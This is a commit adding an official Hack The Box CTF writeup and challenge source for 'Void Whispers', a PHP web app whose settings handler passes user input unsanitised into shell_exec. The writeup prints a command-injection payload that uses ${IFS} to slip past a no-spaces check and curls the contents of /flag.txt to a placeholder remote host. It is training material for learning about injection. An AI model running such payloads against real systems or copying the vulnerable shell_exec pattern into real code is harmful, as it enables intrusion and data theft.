added official hacktheboo2024 writeups

This commit is contained in:
eplots 2024-10-23 11:10:43 +02:00
parent 1f7a9b0566
commit e3c46450f7
327 changed files with 14303 additions and 0 deletions

View file

@ -0,0 +1,26 @@
FROM php:alpine
# Setup user
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
# Install system packages
RUN apk add --no-cache --update curl supervisor nginx php-fpm
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php83/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
COPY flag.txt /
# Setup permissions
RUN chown -R www:www /var/lib/nginx
RUN chown -R www:www /www
# Expose the port nginx is listening on
EXPOSE 1337
# Start supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

View file

@ -0,0 +1,118 @@
![img](assets/banner.png)
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="6">Void Whispers</font>
20<sup>th</sup> Oct 2024 / Document No. D24.xxx.xxx
Prepared By: Xclow3n
Challenge Author: Xclow3n
Difficulty: <font color=green>Very Easy</font>
Classification: Official
# [Synopsis](#synopsis)
Void Whispers is a very easy web challenge designed to help players understand and exploit Command Injection.
# Skills Required
- Basic knowledge of PHP
# Skills Learned
- Command Injection
# [Solution](#Solution)
Visiting the home page displays the following interface:
![img](assets/home.png)
We can update and save the settings:
![img](assets/save.png)
We are provided with the source code of this application, so let's examine how this functionality works.
In `IndexController.php`:
```php
class IndexController
{
private $configFile = 'config.json';
private $config;
public function __construct() {
if (file_exists($this->configFile)) {
$this->config = json_decode(file_get_contents($this->configFile), true);
} else {
$this->config = array(
'from' => 'Ghostly Support',
'email' => 'support@void-whispers.htb',
'sendMailPath' => '/usr/sbin/sendmail',
'mailProgram' => 'sendmail',
);
}
}
... SNIP ...
public function updateSetting($router)
{
$from = $_POST['from'];
$mailProgram = $_POST['mailProgram'];
$sendMailPath = $_POST['sendMailPath'];
$email = $_POST['email'];
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
}
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}
$this->config['from'] = $from;
$this->config['mailProgram'] = $mailProgram;
$this->config['sendMailPath'] = $sendMailPath;
$this->config['email'] = $email;
file_put_contents($this->configFile, json_encode($this->config));
return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
}
}
```
This PHP function, `updateSetting`, is responsible for updating email-related configuration settings. It takes user input from a form (`from`, `mailProgram`, `sendMailPath`, and `email`) and performs the following checks:
1. **Validation**: Ensures all fields are provided and that the `sendMailPath` does not contain spaces.
2. **Check for Binary Existence**: Uses `shell_exec` to check if the provided `sendMailPath` exists on the system.
3. **Update Configuration**: If validation passes, it updates the configuration file (`$this->configFile`) with the new settings and saves them in JSON format.
4. **Response**: Returns success or error messages using the `jsonify` method based on the outcome of the process.
### Command Injection Vulnerability:
The function is vulnerable to **command injection** because the input for `sendMailPath` is passed directly to the shell without being sanitized. This allows an attacker to inject arbitrary commands into the system. However, the check on `sendMailPath` disallows spaces, so we cannot use normal spaces in our payload.
### `${IFS}` Explanation:
`${IFS}` is a special environment variable in Unix-like systems that stands for "Internal Field Separator." It is used by the shell to separate words in a command. The default value of `${IFS}` is a space, newline, and tab. We can exploit this by using `${IFS}` in place of spaces to bypass the space restriction in the command injection.
### Crafting the Payload:
We can craft a payload using `${IFS}` to simulate spaces and inject a malicious command:
```
/usr/sbin/sendmail;curl${IFS}https://[IP]?x=$(cat${IFS}/flag.txt)
```
This payload works as follows:
- `/usr/sbin/sendmail` executes as normal.
- `curl${IFS}https://[IP]?x=$(cat${IFS}/flag.txt)` uses `${IFS}` in place of spaces to run a `curl` command that exfiltrates the contents of `flag.txt` by sending it to a remote server.
When saved, this payload provides us with the flag:
![img](assets/flag.png)
This completes the challenge! :)

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 903 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 898 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 857 KiB

View file

@ -0,0 +1,2 @@
docker build . -t web_haunted_mailer
docker run -it -p 1337:1337 web_haunted_mailer

View file

@ -0,0 +1,125 @@
<?php
class Router
{
public $routes = [];
public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];
if (is_callable($controller))
{
$r['controller'] = $controller;
$this->routes[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];
$r['controller'] = [
'class' => $class,
'function' => $function
];
$this->routes[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}
public function match()
{
foreach($this->routes as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);
if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];
return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}
$this->abort(404);
}
public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
if (count($uri) != count($route)) return false;
foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}
return true;
}
public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}
return $params;
}
public function abort($code)
{
http_response_code($code);
exit;
}
public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/{$view}.php";
exit;
}
public function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);
exit;
}
}

View file

@ -0,0 +1,54 @@
<?php
class IndexController
{
private $configFile = 'config.json';
private $config;
public function __construct() {
if (file_exists($this->configFile)) {
$this->config = json_decode(file_get_contents($this->configFile), true);
} else {
$this->config = array(
'from' => 'Ghostly Support',
'email' => 'support@void-whispers.htb',
'sendMailPath' => '/usr/sbin/sendmail',
'mailProgram' => 'sendmail',
);
}
}
public function index($router)
{
$router->view('index', ['config' => $this->config]);
}
public function updateSetting($router)
{
$from = $_POST['from'];
$mailProgram = $_POST['mailProgram'];
$sendMailPath = $_POST['sendMailPath'];
$email = $_POST['email'];
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
}
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}
$this->config['from'] = $from;
$this->config['mailProgram'] = $mailProgram;
$this->config['sendMailPath'] = $sendMailPath;
$this->config['email'] = $email;
file_put_contents($this->configFile, json_encode($this->config));
return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
}
}

View file

@ -0,0 +1,14 @@
<?php spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/{$name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/{$name}";
}
include_once "{$name}.php";
});
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST', '/update', 'IndexController@updateSetting');
die($router->match());

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,532 @@
html {
height: 100%;
width: 100%;
overflow: hidden;
scroll: none;
}
body {
background-color: #2F5363;
*zoom: 1;
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
background-image: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHJhZGlhbEdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IiIgcj0iODAlIj48c3RvcCBvZmZzZXQ9IjAlIiBzdG9wLWNvbG9yPSIjMmY1MzYzIi8+PHN0b3Agb2Zmc2V0PSI4MCUiIHN0b3AtY29sb3I9IiMxYjI2MjgiLz48L3JhZGlhbEdyYWRpZW50PjwvZGVmcz48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmaWxsPSJ1cmwoI2dyYWQpIiAvPjwvc3ZnPiA=');
background-size: 100%;
background-image: -moz-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
background-image: -webkit-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
overflow: hidden;
}
[class*="spider"] {
position: absolute;
height: 40px;
width: 50px;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
margin: 40px 0 0 0;
background: #110D04;
}
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after, [class*="spider"] :after, [class*="spider"] :before {
position: absolute;
content: "";
}
[class*="spider"]:before {
width: 1px;
background: #AAAAAA;
left: 50%;
top: -320px;
height: 320px;
}
[class*="spider"] .eye {
top: 16px;
height: 14px;
width: 12px;
background: #FFFFFF;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
}
[class*="spider"] .eye:after {
top: 6px;
height: 5px;
width: 5px;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
background: black;
}
[class*="spider"] .eye.left {
left: 14px;
}
[class*="spider"] .eye.left:after {
right: 3px;
}
[class*="spider"] .eye.right {
right: 14px;
}
[class*="spider"] .eye.right:after {
left: 3px;
}
[class*="spider"] .leg {
top: 6px;
height: 12px;
width: 14px;
border-top: 2px solid #110D04;
border-left: 1px solid transparent;
border-right: 1px solid transparent;
border-bottom: 1px solid transparent;
z-index: -1;
}
[class*="spider"] .leg.left {
left: -8px;
-moz-transform-origin: top right;
-ms-transform-origin: top right;
-webkit-transform-origin: top right;
transform-origin: top right;
-moz-transform: rotate(36deg) skewX(-20deg);
-ms-transform: rotate(36deg) skewX(-20deg);
-webkit-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
border-left: 2px solid #110D04;
-moz-border-radius: 60% 0 0 0;
-webkit-border-radius: 60%;
border-radius: 60% 0 0 0;
-moz-animation: legs-wriggle-left 1s 0s infinite;
-webkit-animation: legs-wriggle-left 1s 0s infinite;
animation: legs-wriggle-left 1s 0s infinite;
}
[class*="spider"] .leg.right {
right: -8px;
-moz-transform-origin: top left;
-ms-transform-origin: top left;
-webkit-transform-origin: top left;
transform-origin: top left;
-moz-transform: rotate(-36deg) skewX(20deg);
-ms-transform: rotate(-36deg) skewX(20deg);
-webkit-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
border-right: 2px solid #110D04;
-moz-border-radius: 0 60% 0 0;
-webkit-border-radius: 0;
border-radius: 0 60% 0 0;
-moz-animation: legs-wriggle-right 1s 0.2s infinite;
-webkit-animation: legs-wriggle-right 1s 0.2s infinite;
animation: legs-wriggle-right 1s 0.2s infinite;
}
[class*="spider"] .leg:nth-of-type(2) {
top: 14px;
left: -11px;
-moz-animation: legs-wriggle-left 1s 0.8s infinite;
-webkit-animation: legs-wriggle-left 1s 0.8s infinite;
animation: legs-wriggle-left 1s 0.8s infinite;
}
[class*="spider"] .leg:nth-of-type(3) {
top: 22px;
left: -12px;
-moz-animation: legs-wriggle-left 1s 0.2s infinite;
-webkit-animation: legs-wriggle-left 1s 0.2s infinite;
animation: legs-wriggle-left 1s 0.2s infinite;
}
[class*="spider"] .leg:nth-of-type(4) {
top: 31px;
left: -10px;
-moz-animation: legs-wriggle-left 1s 0.4s infinite;
-webkit-animation: legs-wriggle-left 1s 0.4s infinite;
animation: legs-wriggle-left 1s 0.4s infinite;
}
[class*="spider"] .leg:nth-of-type(6) {
top: 14px;
right: -11px;
-moz-animation: legs-wriggle-right 1s 0.4s infinite;
-webkit-animation: legs-wriggle-right 1s 0.4s infinite;
animation: legs-wriggle-right 1s 0.4s infinite;
}
[class*="spider"] .leg:nth-of-type(7) {
top: 22px;
right: -12px;
-moz-animation: legs-wriggle-right 1s 0.7s infinite;
-webkit-animation: legs-wriggle-right 1s 0.7s infinite;
animation: legs-wriggle-right 1s 0.7s infinite;
}
[class*="spider"] .leg:nth-of-type(8) {
top: 31px;
right: -10px;
-moz-animation: legs-wriggle-right 1s 0.3s infinite;
-webkit-animation: legs-wriggle-right 1s 0.3s infinite;
animation: legs-wriggle-right 1s 0.3s infinite;
}
.spider_0 {
left: 5%;
-moz-animation: spider-move-0 5s infinite;
-webkit-animation: spider-move-0 5s infinite;
animation: spider-move-0 5s infinite;
}
.spider_1 {
left: 20%;
-moz-animation: spider-move-1 5s infinite;
-webkit-animation: spider-move-1 5s infinite;
animation: spider-move-1 5s infinite;
}
.spider_2 {
left: 35%;
-moz-animation: spider-move-2 5s infinite;
-webkit-animation: spider-move-2 5s infinite;
animation: spider-move-2 5s infinite;
}
.spider_3 {
right: 35%;
margin-top: 160px;
-moz-animation: spider-move-3 5s infinite;
-webkit-animation: spider-move-3 5s infinite;
animation: spider-move-3 5s infinite;
}
.spider_4 {
right: 20%;
margin-top: 50px;
-moz-animation: spider-move-4 5s infinite;
-webkit-animation: spider-move-4 5s infinite;
animation: spider-move-4 5s infinite;
}
.spider_5 {
right: 5%;
margin-top: 210px;
-moz-animation: spider-move-5 5s infinite;
-webkit-animation: spider-move-5 5s infinite;
animation: spider-move-5 5s infinite;
}
h1 {
position: absolute;
left: 6%;
bottom: 12%;
font-family: 'Eater', cursive;
font-size: 8.5vw;
color: #111111;
-moz-animation: flicker 4s 0s infinite;
-webkit-animation: flicker 4s 0s infinite;
animation: flicker 4s 0s infinite;
}
.web-right {
position: absolute;
height: 200px;
width: auto;
right: -10px;
top: -10px;
z-index: -1;
opacity: 0.2;
}
.web-left {
position: absolute;
left: -10px;
top: -10px;
-moz-transform: rotate(-90deg);
-ms-transform: rotate(-90deg);
-webkit-transform: rotate(-90deg);
transform: rotate(-90deg);
z-index: -1;
opacity: 0.2;
}
@-moz-keyframes flicker {
0%, 6%, 12% {
text-shadow: none;
color: #111111;
}
3%, 9% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
color: #fa6701;
}
60% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
100% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
}
@-webkit-keyframes flicker {
0%, 6%, 12% {
text-shadow: none;
color: #111111;
}
3%, 9% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
color: #fa6701;
}
60% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
100% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
}
@keyframes flicker {
0%, 6%, 12% {
text-shadow: none;
color: #111111;
}
3%, 9% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
color: #fa6701;
}
60% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
100% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
}
@-moz-keyframes legs-wriggle-left {
0%, 100% {
-moz-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
}
25%, 75% {
-moz-transform: rotate(15deg) skewX(-20deg);
transform: rotate(15deg) skewX(-20deg);
}
50% {
-moz-transform: rotate(45deg) skewX(-20deg);
transform: rotate(45deg) skewX(-20deg);
}
}
@-webkit-keyframes legs-wriggle-left {
0%, 100% {
-webkit-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
}
25%, 75% {
-webkit-transform: rotate(15deg) skewX(-20deg);
transform: rotate(15deg) skewX(-20deg);
}
50% {
-webkit-transform: rotate(45deg) skewX(-20deg);
transform: rotate(45deg) skewX(-20deg);
}
}
@keyframes legs-wriggle-left {
0%, 100% {
-moz-transform: rotate(36deg) skewX(-20deg);
-ms-transform: rotate(36deg) skewX(-20deg);
-webkit-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
}
25%, 75% {
-moz-transform: rotate(15deg) skewX(-20deg);
-ms-transform: rotate(15deg) skewX(-20deg);
-webkit-transform: rotate(15deg) skewX(-20deg);
transform: rotate(15deg) skewX(-20deg);
}
50% {
-moz-transform: rotate(45deg) skewX(-20deg);
-ms-transform: rotate(45deg) skewX(-20deg);
-webkit-transform: rotate(45deg) skewX(-20deg);
transform: rotate(45deg) skewX(-20deg);
}
}
@-moz-keyframes legs-wriggle-right {
0%, 100% {
-moz-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
}
25%, 75% {
-moz-transform: rotate(-15deg) skewX(20deg);
transform: rotate(-15deg) skewX(20deg);
}
50% {
-moz-transform: rotate(-45deg) skewX(20deg);
transform: rotate(-45deg) skewX(20deg);
}
}
@-webkit-keyframes legs-wriggle-right {
0%, 100% {
-webkit-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
}
25%, 75% {
-webkit-transform: rotate(-15deg) skewX(20deg);
transform: rotate(-15deg) skewX(20deg);
}
50% {
-webkit-transform: rotate(-45deg) skewX(20deg);
transform: rotate(-45deg) skewX(20deg);
}
}
@keyframes legs-wriggle-right {
0%, 100% {
-moz-transform: rotate(-36deg) skewX(20deg);
-ms-transform: rotate(-36deg) skewX(20deg);
-webkit-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
}
25%, 75% {
-moz-transform: rotate(-15deg) skewX(20deg);
-ms-transform: rotate(-15deg) skewX(20deg);
-webkit-transform: rotate(-15deg) skewX(20deg);
transform: rotate(-15deg) skewX(20deg);
}
50% {
-moz-transform: rotate(-45deg) skewX(20deg);
-ms-transform: rotate(-45deg) skewX(20deg);
-webkit-transform: rotate(-45deg) skewX(20deg);
transform: rotate(-45deg) skewX(20deg);
}
}
@-moz-keyframes spider-move-0 {
0%, 100% {
margin-top: 80px;
}
66% {
margin-top: calc(80px + 76px);
}
}
@-webkit-keyframes spider-move-0 {
0%, 100% {
margin-top: 80px;
}
66% {
margin-top: calc(80px + 76px);
}
}
@keyframes spider-move-0 {
0%, 100% {
margin-top: 80px;
}
66% {
margin-top: calc(80px + 76px);
}
}
@-moz-keyframes spider-move-1 {
0%, 100% {
margin-top: 178px;
}
57% {
margin-top: calc(178px + 28px);
}
}
@-webkit-keyframes spider-move-1 {
0%, 100% {
margin-top: 178px;
}
57% {
margin-top: calc(178px + 28px);
}
}
@keyframes spider-move-1 {
0%, 100% {
margin-top: 178px;
}
57% {
margin-top: calc(178px + 28px);
}
}
@-moz-keyframes spider-move-2 {
0%, 100% {
margin-top: 190px;
}
39% {
margin-top: calc(190px + 113px);
}
}
@-webkit-keyframes spider-move-2 {
0%, 100% {
margin-top: 190px;
}
39% {
margin-top: calc(190px + 113px);
}
}
@keyframes spider-move-2 {
0%, 100% {
margin-top: 190px;
}
39% {
margin-top: calc(190px + 113px);
}
}
@-moz-keyframes spider-move-3 {
0%, 100% {
margin-top: 191px;
}
55% {
margin-top: calc(191px + 47px);
}
}
@-webkit-keyframes spider-move-3 {
0%, 100% {
margin-top: 191px;
}
55% {
margin-top: calc(191px + 47px);
}
}
@keyframes spider-move-3 {
0%, 100% {
margin-top: 191px;
}
55% {
margin-top: calc(191px + 47px);
}
}
@-moz-keyframes spider-move-4 {
0%, 100% {
margin-top: 55px;
}
38% {
margin-top: calc(55px + 112px);
}
}
@-webkit-keyframes spider-move-4 {
0%, 100% {
margin-top: 55px;
}
38% {
margin-top: calc(55px + 112px);
}
}
@keyframes spider-move-4 {
0%, 100% {
margin-top: 55px;
}
38% {
margin-top: calc(55px + 112px);
}
}
@-moz-keyframes spider-move-5 {
0%, 100% {
margin-top: 116px;
}
40% {
margin-top: calc(116px + 112px);
}
}
@-webkit-keyframes spider-move-5 {
0%, 100% {
margin-top: 116px;
}
40% {
margin-top: calc(116px + 112px);
}
}
@keyframes spider-move-5 {
0%, 100% {
margin-top: 116px;
}
40% {
margin-top: calc(116px + 112px);
}
}

View file

@ -0,0 +1,272 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>🎃 Void Whispers 🎃</title>
<link href="https://fonts.googleapis.com/css?family=Eater" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/main.css">
<style>
html {
height: 100%;
width: 100%;
overflow: hidden;
}
body {
background-color: #2F5363;
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
overflow: hidden;
}
/* Spider Animation */
[class*="spider"] {
position: absolute;
height: 40px;
width: 50px;
border-radius: 50%;
margin: 40px 0 0 0;
background: #110D04;
}
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after {
position: absolute;
content: "";
}
[class*="spider"]:before {
width: 1px;
background: #AAAAAA;
left: 50%;
top: -320px;
height: 320px;
}
[class*="spider"] .eye {
top: 16px;
height: 14px;
width: 12px;
background: #FFFFFF;
border-radius: 50%;
}
[class*="spider"] .eye:after {
top: 6px;
height: 5px;
width: 5px;
background: black;
border-radius: 50%;
}
[class*="spider"] .eye.left { left: 14px; }
[class*="spider"] .eye.left:after { right: 3px; }
[class*="spider"] .eye.right { right: 14px; }
[class*="spider"] .eye.right:after { left: 3px; }
/* ... Additional Spider Animation CSS from the original code ... */
/* Form Styling */
.form-container {
position: absolute;
top: 50%;
left: 50%;
width: 50%;
transform: translate(-50%, -50%);
background-color: rgba(0, 0, 0, 0.8);
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
}
.form-container h1 {
font-family: 'Eater', cursive;
font-size: 2rem;
position: relative !important;
color: #ff7518;
left: 0 !important;
text-align: center;
}
.form-container label {
color: #fff;
}
.form-control {
background-color: #333;
border: 1px solid #444;
color: #fff;
}
.btn-primary {
background-color: #ff7518 !important;
border-color: #ff7518;
width: 100%;
}
.btn-primary:hover {
background-color: #e65c00 !important;
}
.response-message {
margin-top: 15px;
display: none;
}
</style>
</head>
<body>
<!-- Spiders Animation -->
<div class='spider_0'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div>
<div class='spider_1'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div>
<div class='spider_2'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <!-- More spiders here... -->
<div class='spider_3'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <div class='spider_4'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <div class='spider_5'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <div class='spider_6'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div>
<!-- Void Whispers Form -->
<div class="form-container">
<h1>🎃 Void Whispers 🎃</h1>
<div method="post" id="settingsForm">
<div class="form-group">
<label for="from-name">From Name 📝</label>
<input type="text" name="from-name" class="form-control" id="from-name" value="<?php echo $config['from']; ?>" />
</div>
<div class="form-group">
<label for="from-mail">From Email 📧</label>
<input type="text" name="from-mail" class="form-control" id="from-mail" value="<?php echo $config['email']; ?>" />
</div>
<div class="form-group">
<label for="mail-binary">Sendmail PATH 📜</label>
<input type="text" name="mail-binary" class="form-control" id="mail-binary" value="<?php echo $config['sendMailPath']; ?>" />
</div>
<div class="form-group">
<label for="mail-program">Mail Program 🛠️</label>
<input type="text" name="mail-program" class="form-control" id="mail-program" value="<?php echo $config['mailProgram']; ?>" />
</div>
<button onclick="submitForm()" type="submit" class="btn btn-primary">💀 Save 💀</button>
</div>
<div id="response-message" class="alert response-message"></div>
</div>
<!-- Script for handling form submission -->
<script>
const submitForm = () => {
// Collect form data
const formData = new URLSearchParams();
formData.append('from', document.getElementById('from-name').value);
formData.append('email', document.getElementById('from-mail').value);
formData.append('sendMailPath', document.getElementById('mail-binary').value);
formData.append('mailProgram', document.getElementById('mail-program').value);
// Send the API request
fetch('/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData.toString()
})
.then(response => response.json())
.then(data => {
const responseMessage = document.getElementById('response-message');
responseMessage.style.display = 'block';
responseMessage.innerText = data.message;
if (data.status === 'success') {
responseMessage.classList.add('alert-success');
responseMessage.classList.remove('alert-danger');
} else {
responseMessage.classList.add('alert-danger');
responseMessage.classList.remove('alert-success');
}
})
.catch(error => {
console.error('Error:', error);
const responseMessage = document.getElementById('response-message');
responseMessage.style.display = 'block';
responseMessage.innerText = 'An error occurred. Please try again.';
responseMessage.classList.add('alert-danger');
});
}
</script>
</body>
</html>

View file

@ -0,0 +1,21 @@
[global]
daemonize = no
error_log = /dev/stderr
log_level = notice
[www]
user = www
group = www
clear_env = On
listen = /run/php-fpm.sock
listen.owner = www
listen.group = www
pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3
php_flag[expose_php]=off

View file

@ -0,0 +1,40 @@
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
server {
listen 1337;
server_name _;
index index.php;
root /www;
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}

View file

@ -0,0 +1,23 @@
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:fpm]
command=php-fpm83 -F
autostart=true
priority=1000
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:nginx]
command=nginx -g 'daemon off;'
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

View file

@ -0,0 +1 @@
